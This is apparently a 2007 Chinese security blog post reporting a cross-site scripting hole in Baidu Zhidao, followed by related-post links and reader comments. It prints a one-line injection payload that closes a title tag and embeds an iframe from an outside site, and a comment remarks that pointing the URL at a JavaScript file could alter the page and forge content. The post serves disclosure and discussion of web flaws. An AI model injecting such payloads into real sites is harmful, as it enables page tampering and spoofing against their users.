百度知道跨站2007/03/28 1:05 | 鬼仔 | 技术文章 | 5 条评论了已经跨站代码: :</title><iframe src=http://www.huaidan.org/ width=400 height=300></iframe> 效果:Tags: 百度知道, 跨站相关日志一段扫flash跨站的脚本再论跨站脚本攻防之道誰在看我的噗?第二回:IE執行模式 vs 跨網站腳本漏洞(XSS)誰在看我的噗?第一回:DOM沙盒 vs 跨網站腳本漏洞(XSS)跨站脚本XSS[翻译]"Psecudo-Reflective" 跨站蠕虫剖析
你觉得会利用成功么! :shock:
很多ASP的博客程序都有犯这个错误.比如L BLOG啥的。但不至于可以拿到啥权限! :oops:
URL指向一个JS 可以改变当前页面 伪造很多东西~